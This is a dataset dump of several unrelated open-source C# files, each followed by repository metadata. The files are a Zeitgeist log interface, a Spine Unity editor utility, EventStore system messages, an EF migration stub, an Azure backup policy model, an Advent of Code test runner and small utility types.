Order in which the result should be made available <see cref="T:Zeitgeist.Datamodel.ResultType"/> /// </param> /// <returns> /// A list of URIs matching the described criteria <see cref="T:System.String[]"/> /// </returns> string[] FindRelatedUris(RawTimeRange range, RawEvent[] eventTemplates, RawEvent[] resultEventTemplates, UInt32 state, UInt32 maxEvents, UInt32 resType); /// <summary> /// Inserts events into the log. Returns an array containing the IDs of the inserted events /// Each event which failed to be inserted into the log (either by being blocked or because of an error) will be represented by 0 in the resulting array. /// One way events may end up being blocked is if they match any of the blacklist templates. /// Any monitors with matching templates will get notified about the insertion. /// Note that the monitors are notified after the events have been inserted. /// </summary> /// <param name="events"> /// List of events to be inserted in the log <see cref="T:Zeitgeist.Datamodel.RawEvent[]"/> /// </param> /// <returns> /// An array containing the event IDs of the inserted events. 0 as ID means failed to insert <see cref="T:System.UInt32[]"/> /// </returns> UInt32[] InsertEvents(RawEvent[] events); /// <summary> /// Register a client side monitor object to receive callbacks when events matching time_range and event_templates are inserted or deleted. /// </summary> /// <param name="monitorPath"> /// The path to be monitored <see cref="DBus.ObjectPath"/> /// </param> /// <param name="range"> /// The time range under which Monitored events must fall within <see cref="TimeRange"/> /// </param> /// <param name="eventTemplates"> /// RawEvent templates that events must match in order to trigger the monitor <see cref="T:Zeitgeist.Datamodel.RawEvent[]"/> /// </param> void InstallMonitor(ObjectPath monitorPath, RawTimeRange range, RawEvent[] eventTemplates); /// <summary> /// Remove a monitor installed with InstallMonitor() /// </summary> /// <param name="monitorPath"> /// The path of the monitor to be removed <see cref="DBus.ObjectPath"/> /// </param> void RemoveMonitor(ObjectPath monitorPath); /// <summary> /// Delete a set of events from the log given their IDs /// </summary> /// <param name="eventIds"> /// The eventId of the Events to be deleted <see cref="T:System.UInt32[]"/> /// </param> /// <returns> /// The TimeRange <see cref="T:Zeitgeist.Datamodel.RawTimeRange"/> /// </returns> RawTimeRange DeleteEvents(UInt32[] eventIds); /// <summary> /// Delete the log file and all its content /// This method is used to delete the entire log file and all its content in one go. /// To delete specific subsets use FindEventIds() combined with DeleteEvents(). /// </summary> void DeleteLog(); /// <summary> /// Terminate the running Zeitgeist engine process; /// use with caution, this action must only be triggered with the user’s explicit consent, /// as it will affect all applications using Zeitgeist /// </summary> void Quit(); } }
51.927536
193
0.694948
[ "MIT" ]
freedesktop-unofficial-mirror/zeitgeist__zeitgeist-sharp
Zeitgeist/Client/ILog.cs
10,771
C#
/****************************************************************************** * Spine Runtimes License Agreement * Last updated January 1, 2020. Replaces all prior versions. * * Copyright (c) 2013-2020, Esoteric Software LLC * * Integration of the Spine Runtimes into software or otherwise creating * derivative works of the Spine Runtimes is permitted under the terms and * conditions of Section 2 of the Spine Editor License Agreement: * http://esotericsoftware.com/spine-editor-license * * Otherwise, it is permitted to integrate the Spine Runtimes into software * or otherwise create derivative works of the Spine Runtimes (collectively, * "Products"), provided that each user of the Products must obtain their own * Spine Editor license and redistribution of the Products in any form must * include this license and copyright notice. * * THE SPINE RUNTIMES ARE PROVIDED BY ESOTERIC SOFTWARE LLC "AS IS" AND ANY * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE * DISCLAIMED. IN NO EVENT SHALL ESOTERIC SOFTWARE LLC BE LIABLE FOR ANY * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES, * BUSINESS INTERRUPTION, OR LOSS OF USE, DATA, OR PROFITS) HOWEVER CAUSED AND * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF * THE SPINE RUNTIMES, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. *****************************************************************************/ #pragma warning disable 0219 #pragma warning disable 0618 // for 3.7 branch only. Avoids "PreferenceItem' is obsolete: '[PreferenceItem] is deprecated. Use [SettingsProvider] instead." // Original contribution by: Mitch Thompson #define SPINE_SKELETONMECANIM #if UNITY_2017_2_OR_NEWER #define NEWPLAYMODECALLBACKS #endif #if UNITY_2018 || UNITY_2019 || UNITY_2018_3_OR_NEWER #define NEWHIERARCHYWINDOWCALLBACKS #endif #if UNITY_2018_3_OR_NEWER #define NEW_PREFERENCES_SETTINGS_PROVIDER #endif using UnityEngine; using UnityEditor; using System.Collections.Generic; using System.IO; using System.Text; using System.Linq; using System.Reflection; using System.Globalization; namespace Spine.Unity.Editor { using EventType = UnityEngine.EventType; // Analysis disable once ConvertToStaticType [InitializeOnLoad] public partial class SpineEditorUtilities : AssetPostprocessor { public static string editorPath = ""; public static string editorGUIPath = ""; public static bool initialized; private static List<string> texturesWithoutMetaFile = new List<string>(); // Auto-import entry point for textures void OnPreprocessTexture () { #if UNITY_2018_1_OR_NEWER bool customTextureSettingsExist = !assetImporter.importSettingsMissing; #else bool customTextureSettingsExist = System.IO.File.Exists(assetImporter.assetPath + ".meta"); #endif if (!customTextureSettingsExist) { texturesWithoutMetaFile.Add(assetImporter.assetPath); } } // Auto-import post process entry point for all assets static void OnPostprocessAllAssets (string[] imported, string[] deleted, string[] moved, string[] movedFromAssetPaths) { if (imported.Length == 0) return; AssetUtility.HandleOnPostprocessAllAssets(imported, texturesWithoutMetaFile); texturesWithoutMetaFile.Clear(); } #region Initialization static SpineEditorUtilities () { Initialize(); } static void Initialize () { // Note: Preferences need to be loaded when changing play mode // to initialize handle scale correctly. #if !NEW_PREFERENCES_SETTINGS_PROVIDER Preferences.Load(); #else SpinePreferences.Load(); #endif if (EditorApplication.isPlayingOrWillChangePlaymode) return; string[] assets = AssetDatabase.FindAssets("t:script SpineEditorUtilities"); string assetPath = AssetDatabase.GUIDToAssetPath(assets[0]); editorPath = Path.GetDirectoryName(assetPath).Replace('\\', '/'); assets = AssetDatabase.FindAssets("t:texture icon-subMeshRenderer"); if (assets.Length > 0) { assetPath = AssetDatabase.GUIDToAssetPath(assets[0]); editorGUIPath = Path.GetDirectoryName(assetPath).Replace('\\', '/'); } else { editorGUIPath = editorPath.Replace("/Utility", "/GUI"); } Icons.Initialize(); // Drag and Drop #if UNITY_2019_1_OR_NEWER SceneView.duringSceneGui -= DragAndDropInstantiation.SceneViewDragAndDrop; SceneView.duringSceneGui += DragAndDropInstantiation.SceneViewDragAndDrop; #else SceneView.onSceneGUIDelegate -= DragAndDropInstantiation.SceneViewDragAndDrop; SceneView.onSceneGUIDelegate += DragAndDropInstantiation.SceneViewDragAndDrop; #endif EditorApplication.hierarchyWindowItemOnGUI -= HierarchyHandler.HandleDragAndDrop; EditorApplication.hierarchyWindowItemOnGUI += HierarchyHandler.HandleDragAndDrop; // Hierarchy Icons #if NEWPLAYMODECALLBACKS EditorApplication.playModeStateChanged -= HierarchyHandler.IconsOnPlaymodeStateChanged; EditorApplication.playModeStateChanged += HierarchyHandler.IconsOnPlaymodeStateChanged; HierarchyHandler.IconsOnPlaymodeStateChanged(PlayModeStateChange.EnteredEditMode); #else EditorApplication.playmodeStateChanged -= HierarchyHandler.IconsOnPlaymodeStateChanged; EditorApplication.playmodeStateChanged += HierarchyHandler.IconsOnPlaymodeStateChanged; HierarchyHandler.IconsOnPlaymodeStateChanged(); #endif // Data Refresh Edit Mode. // This prevents deserialized SkeletonData from persisting from play mode to edit mode. #if NEWPLAYMODECALLBACKS EditorApplication.playModeStateChanged -= DataReloadHandler.OnPlaymodeStateChanged; EditorApplication.playModeStateChanged += DataReloadHandler.OnPlaymodeStateChanged; DataReloadHandler.OnPlaymodeStateChanged(PlayModeStateChange.EnteredEditMode); #else EditorApplication.playmodeStateChanged -= DataReloadHandler.OnPlaymodeStateChanged; EditorApplication.playmodeStateChanged += DataReloadHandler.OnPlaymodeStateChanged; DataReloadHandler.OnPlaymodeStateChanged(); #endif if (SpineEditorUtilities.Preferences.textureImporterWarning) { IssueWarningsForUnrecommendedTextureSettings(); } initialized = true; } public static void ConfirmInitialization () { if (!initialized || Icons.skeleton == null) Initialize(); } public static void IssueWarningsForUnrecommendedTextureSettings() { string[] atlasDescriptionGUIDs = AssetDatabase.FindAssets("t:textasset .atlas"); // Note: finds ".atlas.txt" but also ".atlas 1.txt" files. for (int i = 0; i < atlasDescriptionGUIDs.Length; ++i) { string atlasDescriptionPath = AssetDatabase.GUIDToAssetPath(atlasDescriptionGUIDs[i]); if (!atlasDescriptionPath.EndsWith(".atlas.txt")) continue; string texturePath = atlasDescriptionPath.Replace(".atlas.txt", ".png"); bool textureExists = IssueWarningsForUnrecommendedTextureSettings(texturePath); if (!textureExists) { texturePath = texturePath.Replace(".png", ".jpg"); textureExists = IssueWarningsForUnrecommendedTextureSettings(texturePath); } if (!textureExists) { continue; } } } public static bool IssueWarningsForUnrecommendedTextureSettings(string texturePath) { TextureImporter texImporter = (TextureImporter)TextureImporter.GetAtPath(texturePath); if (texImporter == null) { return false; } int extensionPos = texturePath.LastIndexOf('.'); string materialPath = texturePath.Substring(0, extensionPos) + "_Material.mat"; Material material = AssetDatabase.LoadAssetAtPath<Material>(materialPath); if (material == null) return true; string errorMessage = null; if (MaterialChecks.IsTextureSetupProblematic(material, PlayerSettings.colorSpace, texImporter. sRGBTexture, texImporter. mipmapEnabled, texImporter. alphaIsTransparency, texturePath, materialPath, ref errorMessage)) { Debug.LogWarning(errorMessage, material); } return true; } #endregion public static class HierarchyHandler { static Dictionary<int, GameObject> skeletonRendererTable = new Dictionary<int, GameObject>(); static Dictionary<int, SkeletonUtilityBone> skeletonUtilityBoneTable = new Dictionary<int, SkeletonUtilityBone>(); static Dictionary<int, BoundingBoxFollower> boundingBoxFollowerTable = new Dictionary<int, BoundingBoxFollower>(); #if NEWPLAYMODECALLBACKS internal static void IconsOnPlaymodeStateChanged (PlayModeStateChange stateChange) { #else internal static void IconsOnPlaymodeStateChanged () { #endif skeletonRendererTable.Clear(); skeletonUtilityBoneTable.Clear(); boundingBoxFollowerTable.Clear(); #if NEWHIERARCHYWINDOWCALLBACKS EditorApplication.hierarchyChanged -= IconsOnChanged; #else EditorApplication.hierarchyWindowChanged -= IconsOnChanged; #endif EditorApplication.hierarchyWindowItemOnGUI -= IconsOnGUI; if (!Application.isPlaying && Preferences.showHierarchyIcons) { #if NEWHIERARCHYWINDOWCALLBACKS EditorApplication.hierarchyChanged += IconsOnChanged; #else EditorApplication.hierarchyWindowChanged += IconsOnChanged; #endif EditorApplication.hierarchyWindowItemOnGUI += IconsOnGUI; IconsOnChanged(); } } internal static void IconsOnChanged () { skeletonRendererTable.Clear(); skeletonUtilityBoneTable.Clear(); boundingBoxFollowerTable.Clear(); SkeletonRenderer[] arr = Object.FindObjectsOfType<SkeletonRenderer>(); foreach (SkeletonRenderer r in arr) skeletonRendererTable[r.gameObject.GetInstanceID()] = r.gameObject; SkeletonUtilityBone[] boneArr = Object.FindObjectsOfType<SkeletonUtilityBone>(); foreach (SkeletonUtilityBone b in boneArr) skeletonUtilityBoneTable[b.gameObject.GetInstanceID()] = b; BoundingBoxFollower[] bbfArr = Object.FindObjectsOfType<BoundingBoxFollower>(); foreach (BoundingBoxFollower bbf in bbfArr) boundingBoxFollowerTable[bbf.gameObject.GetInstanceID()] = bbf; } internal static void IconsOnGUI (int instanceId, Rect selectionRect) { Rect r = new Rect(selectionRect); if (skeletonRendererTable.ContainsKey(instanceId)) { r.x = r.width - 15; r.width = 15; GUI.Label(r, Icons.spine); } else if (skeletonUtilityBoneTable.ContainsKey(instanceId)) { r.x -= 26; if (skeletonUtilityBoneTable[instanceId] != null) { if (skeletonUtilityBoneTable[instanceId].transform.childCount == 0) r.x += 13; r.y += 2; r.width = 13; r.height = 13; if (skeletonUtilityBoneTable[instanceId].mode == SkeletonUtilityBone.Mode.Follow) GUI.DrawTexture(r, Icons.bone); else GUI.DrawTexture(r, Icons.poseBones); } } else if (boundingBoxFollowerTable.ContainsKey(instanceId)) { r.x -= 26; if (boundingBoxFollowerTable[instanceId] != null) { if (boundingBoxFollowerTable[instanceId].transform.childCount == 0) r.x += 13; r.y += 2; r.width = 13; r.height = 13; GUI.DrawTexture(r, Icons.boundingBox); } } } internal static void HandleDragAndDrop (int instanceId, Rect selectionRect) { // HACK: Uses EditorApplication.hierarchyWindowItemOnGUI. // Only works when there is at least one item in the scene. var current = UnityEngine.Event.current; var eventType = current.type; bool isDraggingEvent = eventType == EventType.DragUpdated; bool isDropEvent = eventType == EventType.DragPerform; if (isDraggingEvent || isDropEvent) { var mouseOverWindow = EditorWindow.mouseOverWindow; if (mouseOverWindow != null) { // One, existing, valid SkeletonDataAsset var references = UnityEditor.DragAndDrop.objectReferences; if (references.Length == 1) { var skeletonDataAsset = references[0] as SkeletonDataAsset; if (skeletonDataAsset != null && skeletonDataAsset.GetSkeletonData(true) != null) { // Allow drag-and-dropping anywhere in the Hierarchy Window. // HACK: string-compare because we can't get its type via reflection. const string HierarchyWindow = "UnityEditor.SceneHierarchyWindow"; const string GenericDataTargetID = "target"; if (HierarchyWindow.Equals(mouseOverWindow.GetType().ToString(), System.StringComparison.Ordinal)) { if (isDraggingEvent) { UnityEditor.DragAndDrop.visualMode = DragAndDropVisualMode.Copy; var mouseOverTarget = UnityEditor.EditorUtility.InstanceIDToObject(instanceId); if (mouseOverTarget) DragAndDrop.SetGenericData(GenericDataTargetID, mouseOverTarget); // note: do not use the current event, otherwise we lose the nice mouse-over highlighting. } else if (isDropEvent) { var parentGameObject = DragAndDrop.GetGenericData(GenericDataTargetID) as UnityEngine.GameObject; Transform parent = parentGameObject != null ? parentGameObject.transform : null; DragAndDropInstantiation.ShowInstantiateContextMenu(skeletonDataAsset, Vector3.zero, parent); UnityEditor.DragAndDrop.AcceptDrag(); current.Use(); return; } } } } } } } } } public class TextureModificationWarningProcessor : UnityEditor.AssetModificationProcessor { static string[] OnWillSaveAssets(string[] paths) { if (SpineEditorUtilities.Preferences.textureImporterWarning) { foreach (string path in paths) { if (path.EndsWith(".png.meta", System.StringComparison.Ordinal) || path.EndsWith(".jpg.meta", System.StringComparison.Ordinal)) { string texturePath = System.IO.Path.ChangeExtension(path, null); // .meta removed string atlasPath = System.IO.Path.ChangeExtension(texturePath, "atlas.txt"); if (System.IO.File.Exists(atlasPath)) SpineEditorUtilities.IssueWarningsForUnrecommendedTextureSettings(texturePath); } } } return paths; } } }
38.774725
155
0.740116
[ "MIT" ]
DeStiCap/Dim-Mind
Global Game Jam 2020/Assets/MainAsset/Spine/Editor/spine-unity/Editor/Utility/SpineEditorUtilities.cs
14,114
C#
using System; using System.Net; using System.Threading; using EventStore.Common.Utils; using EventStore.Core.Data; using EventStore.Core.Messaging; namespace EventStore.Core.Messages { public static class SystemMessage { public class SystemInit : Message { private static readonly int TypeId = Interlocked.Increment(ref NextMsgId); public override int MsgTypeId { get { return TypeId; } } } public class SystemStart : Message { private static readonly int TypeId = Interlocked.Increment(ref NextMsgId); public override int MsgTypeId { get { return TypeId; } } } public class ServiceInitialized: Message { private static readonly int TypeId = Interlocked.Increment(ref NextMsgId); public override int MsgTypeId { get { return TypeId; } } public readonly string ServiceName; public ServiceInitialized(string serviceName) { Ensure.NotNullOrEmpty(serviceName, "serviceName"); ServiceName = serviceName; } } public class WriteEpoch: Message { private static readonly int TypeId = Interlocked.Increment(ref NextMsgId); public override int MsgTypeId { get { return TypeId; } } } public abstract class StateChangeMessage: Message { private static readonly int TypeId = Interlocked.Increment(ref NextMsgId); public override int MsgTypeId { get { return TypeId; } } public readonly Guid CorrelationId; public readonly VNodeState State; protected StateChangeMessage(Guid correlationId, VNodeState state) { Ensure.NotEmptyGuid(correlationId, "correlationId"); CorrelationId = correlationId; State = state; } } public class BecomePreMaster : StateChangeMessage { private static readonly int TypeId = Interlocked.Increment(ref NextMsgId); public override int MsgTypeId { get { return TypeId; } } public BecomePreMaster(Guid correlationId): base(correlationId, VNodeState.PreMaster) { } } public class BecomeMaster: StateChangeMessage { private static readonly int TypeId = Interlocked.Increment(ref NextMsgId); public override int MsgTypeId { get { return TypeId; } } public BecomeMaster(Guid correlationId): base(correlationId, VNodeState.Master) { } } public class BecomeShuttingDown : StateChangeMessage { public readonly bool ShutdownHttp; private static readonly int TypeId = Interlocked.Increment(ref NextMsgId); public override int MsgTypeId { get { return TypeId; } } public readonly bool ExitProcess; public BecomeShuttingDown(Guid correlationId, bool exitProcess, bool shutdownHttp): base(correlationId, VNodeState.ShuttingDown) { ShutdownHttp = shutdownHttp; Ensure.NotEmptyGuid(correlationId, "correlationId"); ExitProcess = exitProcess; } } public class BecomeShutdown : StateChangeMessage { private static readonly int TypeId = Interlocked.Increment(ref NextMsgId); public override int MsgTypeId { get { return TypeId; } } public BecomeShutdown(Guid correlationId): base(correlationId, VNodeState.Shutdown) { } } public class BecomeUnknown : StateChangeMessage { private static readonly int TypeId = Interlocked.Increment(ref NextMsgId); public override int MsgTypeId { get { return TypeId; } } public BecomeUnknown(Guid correlationId) : base(correlationId, VNodeState.Unknown) { } } public abstract class ReplicaStateMessage : StateChangeMessage { private static readonly int TypeId = Interlocked.Increment(ref NextMsgId); public override int MsgTypeId { get { return TypeId; } } public readonly VNodeInfo Master; protected ReplicaStateMessage(Guid correlationId, VNodeState state, VNodeInfo master) : base(correlationId, state) { Ensure.NotNull(master, "master"); Master = master; } } public class BecomePreReplica : ReplicaStateMessage { private static readonly int TypeId = Interlocked.Increment(ref NextMsgId); public override int MsgTypeId { get { return TypeId; } } public BecomePreReplica(Guid correlationId, VNodeInfo master): base(correlationId, VNodeState.PreReplica, master) { } } public class BecomeCatchingUp : ReplicaStateMessage { private static readonly int TypeId = Interlocked.Increment(ref NextMsgId); public override int MsgTypeId { get { return TypeId; } } public BecomeCatchingUp(Guid correlationId, VNodeInfo master): base(correlationId, VNodeState.CatchingUp, master) { } } public class BecomeClone : ReplicaStateMessage { private static readonly int TypeId = Interlocked.Increment(ref NextMsgId); public override int MsgTypeId { get { return TypeId; } } public BecomeClone(Guid correlationId, VNodeInfo master): base(correlationId, VNodeState.Clone, master) { } } public class BecomeSlave : ReplicaStateMessage { private static readonly int TypeId = Interlocked.Increment(ref NextMsgId); public override int MsgTypeId { get { return TypeId; } } public BecomeSlave(Guid correlationId, VNodeInfo master): base(correlationId, VNodeState.Slave, master) { } } public class ServiceShutdown : Message { private static readonly int TypeId = Interlocked.Increment(ref NextMsgId); public override int MsgTypeId { get { return TypeId; } } public readonly string ServiceName; public ServiceShutdown(string serviceName) { if (String.IsNullOrEmpty(serviceName)) throw new ArgumentNullException("serviceName"); ServiceName = serviceName; } } public class ShutdownTimeout : Message { private static readonly int TypeId = Interlocked.Increment(ref NextMsgId); public override int MsgTypeId { get { return TypeId; } } } public class VNodeConnectionLost : Message { private static readonly int TypeId = Interlocked.Increment(ref NextMsgId); public override int MsgTypeId { get { return TypeId; } } public readonly IPEndPoint VNodeEndPoint; public readonly Guid ConnectionId; public VNodeConnectionLost(IPEndPoint vNodeEndPoint, Guid connectionId) { Ensure.NotNull(vNodeEndPoint, "vNodeEndPoint"); Ensure.NotEmptyGuid(connectionId, "connectionId"); VNodeEndPoint = vNodeEndPoint; ConnectionId = connectionId; } } public class VNodeConnectionEstablished : Message { private static readonly int TypeId = Interlocked.Increment(ref NextMsgId); public override int MsgTypeId { get { return TypeId; } } public readonly IPEndPoint VNodeEndPoint; public readonly Guid ConnectionId; public VNodeConnectionEstablished(IPEndPoint vNodeEndPoint, Guid connectionId) { Ensure.NotNull(vNodeEndPoint, "vNodeEndPoint"); Ensure.NotEmptyGuid(connectionId, "connectionId"); VNodeEndPoint = vNodeEndPoint; ConnectionId = connectionId; } } public class WaitForChaserToCatchUp : Message { private static readonly int TypeId = Interlocked.Increment(ref NextMsgId); public override int MsgTypeId { get { return TypeId; } } public readonly Guid CorrelationId; public readonly TimeSpan TotalTimeWasted; public WaitForChaserToCatchUp(Guid correlationId, TimeSpan totalTimeWasted) { Ensure.NotEmptyGuid(correlationId, "correlationId"); CorrelationId = correlationId; TotalTimeWasted = totalTimeWasted; } } public class ChaserCaughtUp : Message { private static readonly int TypeId = Interlocked.Increment(ref NextMsgId); public override int MsgTypeId { get { return TypeId; } } public readonly Guid CorrelationId; public ChaserCaughtUp(Guid correlationId) { Ensure.NotEmptyGuid(correlationId, "correlationId"); CorrelationId = correlationId; } } public class RequestForwardingTimerTick : Message { private static readonly int TypeId = Interlocked.Increment(ref NextMsgId); public override int MsgTypeId { get { return TypeId; } } } public class NoQuorumMessage : Message { private static readonly int TypeId = Interlocked.Increment(ref NextMsgId); public override int MsgTypeId { get { return TypeId; } } } } }
35.834559
140
0.609213
[ "Apache-2.0" ]
betgenius/EventStore
src/EventStore.Core/Messages/SystemMessage.cs
9,749
C#
// <auto-generated /> namespace com.marcoelaura.shop.api.Migrations { using System.CodeDom.Compiler; using System.Data.Entity.Migrations; using System.Data.Entity.Migrations.Infrastructure; using System.Resources; [GeneratedCode("EntityFramework.Migrations", "6.1.3-40302")] public sealed partial class Initial : IMigrationMetadata { private readonly ResourceManager Resources = new ResourceManager(typeof(Initial)); string IMigrationMetadata.Id { get { return "201803302127494_Initial"; } } string IMigrationMetadata.Source { get { return null; } } string IMigrationMetadata.Target { get { return Resources.GetString("Target"); } } } }
27.233333
90
0.616891
[ "MIT" ]
mcampulla/shop
com.marcoelaura.shop.api/com.marcoelaura.shop.api/Migrations/201803302127494_Initial.Designer.cs
817
C#
using System; namespace Abstractions.DateAndTime.Services { public interface IDateTimeService { DateTime Now(); DateTime Today(); DateTime UtcNow(); } }
14.769231
43
0.625
[ "MIT" ]
MJB222398/Abstractions.DateAndTime
Abstractions.DateAndTime/DateTimeService/IDateTimeService.cs
194
C#
// <auto-generated> // Copyright (c) Microsoft Corporation. All rights reserved. // Licensed under the MIT License. See License.txt in the project root for // license information. // // Code generated by Microsoft (R) AutoRest Code Generator. // Changes may cause incorrect behavior and will be lost if the code is // regenerated. // </auto-generated> namespace Microsoft.Azure.Management.RecoveryServices.Backup.Models { using Newtonsoft.Json; using System.Linq; /// <summary> /// IaaS VM workload-specific backup policy. /// </summary> [Newtonsoft.Json.JsonObject("AzureIaasVM")] public partial class AzureIaaSVMProtectionPolicy : ProtectionPolicy { /// <summary> /// Initializes a new instance of the AzureIaaSVMProtectionPolicy /// class. /// </summary> public AzureIaaSVMProtectionPolicy() { CustomInit(); } /// <summary> /// Initializes a new instance of the AzureIaaSVMProtectionPolicy /// class. /// </summary> /// <param name="protectedItemsCount">Number of items associated with /// this policy.</param> /// <param name="schedulePolicy">Backup schedule specified as part of /// backup policy.</param> /// <param name="retentionPolicy">Retention policy with the details on /// backup copy retention ranges.</param> /// <param name="instantRpRetentionRangeInDays">Instant RP retention /// policy range in days</param> /// <param name="timeZone">TimeZone optional input as string. For /// example: TimeZone = "Pacific Standard Time".</param> public AzureIaaSVMProtectionPolicy(int? protectedItemsCount = default(int?), SchedulePolicy schedulePolicy = default(SchedulePolicy), RetentionPolicy retentionPolicy = default(RetentionPolicy), int? instantRpRetentionRangeInDays = default(int?), string timeZone = default(string)) : base(protectedItemsCount) { SchedulePolicy = schedulePolicy; RetentionPolicy = retentionPolicy; InstantRpRetentionRangeInDays = instantRpRetentionRangeInDays; TimeZone = timeZone; CustomInit(); } /// <summary> /// An initialization method that performs custom operations like setting defaults /// </summary> partial void CustomInit(); /// <summary> /// Gets or sets backup schedule specified as part of backup policy. /// </summary> [JsonProperty(PropertyName = "schedulePolicy")] public SchedulePolicy SchedulePolicy { get; set; } /// <summary> /// Gets or sets retention policy with the details on backup copy /// retention ranges. /// </summary> [JsonProperty(PropertyName = "retentionPolicy")] public RetentionPolicy RetentionPolicy { get; set; } /// <summary> /// Gets or sets instant RP retention policy range in days /// </summary> [JsonProperty(PropertyName = "instantRpRetentionRangeInDays")] public int? InstantRpRetentionRangeInDays { get; set; } /// <summary> /// Gets or sets timeZone optional input as string. For example: /// TimeZone = "Pacific Standard Time". /// </summary> [JsonProperty(PropertyName = "timeZone")] public string TimeZone { get; set; } } }
39.045455
288
0.639697
[ "MIT" ]
0xced/azure-sdk-for-net
src/SDKs/RecoveryServices.Backup/Management.RecoveryServices.Backup/Generated/Models/AzureIaaSVMProtectionPolicy.cs
3,436
C#
using System.Collections.Generic; using System.Linq; using NUnit.Framework; using Shouldly; using Unity.Coding.Editor; using Unity.Coding.Utils; namespace Aoc2019 { class Day0xTests : AocFixture { [Test, Parallelizable(ParallelScope.Children)] public void TestDay([Range(1, 25)] int day) { day.ShouldNotBe(22, "day 22 still WIP"); var testDir = AocDir.Combine($"day{day}"); if (!testDir.DirectoryExists()) Assert.Ignore($"No solution for this day yet ({testDir})"); var script = testDir.Combine($"day{day}.solver.linq"); if (!script.FileExists()) Assert.Ignore("This day solved with something other than linqpad"); var expected = ExtractResults(day); var (stdout, stderr) = (new List<string>(), new List<string>()); ProcessUtility.ExecuteCommandLine("lprun", new[] { "-optimize", "-recompile", script.FileName }, testDir, stdout, stderr); if (stderr.Any()) Assert.Fail(stderr.StringJoin("\n")); var results = stdout.Select(s => s.Trim()).Where(s => s.Any()).ToArray(); if (results.Any() && results[0].Contains("Exception")) Assert.Fail(results.StringJoin("\n")); else results.ShouldBe(expected); } } }
34.4
134
0.580669
[ "Unlicense" ]
scottbilas/advent-of-code
2019/aoc/LinqpadDayTests.cs
1,376
C#
namespace YukariToolBox.LightLog; /// <summary> /// 控制台日志等级 /// </summary> public enum LogLevel { /// <summary> /// Verbos /// </summary> Verbose, /// <summary> /// Debug /// </summary> Debug, /// <summary> /// Info /// </summary> Info, /// <summary> /// Warning /// </summary> Warn, /// <summary> /// Error /// </summary> Error, /// <summary> /// Fatal /// </summary> Fatal }
12.918919
33
0.449791
[ "Apache-2.0" ]
DeepOceanSoft/YukariToolBox
YukariToolBox.LightLog/LogLevel.cs
492
C#
using eilang.Interpreting; namespace eilang.OperationCodes { public class ScopeNew : IOperationCode { public void Execute(State state) { state.Scopes.Push(new Scope(state.Scopes.Peek())); state.TemporaryVariables.Push(new LoneScope()); } } }
23.307692
62
0.623762
[ "MIT" ]
Szune/eilang
eilang/OperationCodes/ScopeNew.cs
305
C#
using System; using System.Xml.Serialization; using System.Collections.Generic; namespace Top.Api.Domain { /// <summary> /// Department Data Structure. /// </summary> [Serializable] public class Department : TopObject { /// <summary> /// 部门ID /// </summary> [XmlElement("department_id")] public long DepartmentId { get; set; } /// <summary> /// 部门名称 /// </summary> [XmlElement("department_name")] public string DepartmentName { get; set; } /// <summary> /// 当前部门的父部门ID /// </summary> [XmlElement("parent_id")] public long ParentId { get; set; } /// <summary> /// 部门下关联的子账号id列表 /// </summary> [XmlArray("sub_user_ids")] [XmlArrayItem("number")] public List<long> SubUserIds { get; set; } } }
22.846154
50
0.530864
[ "MIT" ]
objectyan/MyTools
OY.Solution/OY.TopSdk/Domain/Department.cs
941
C#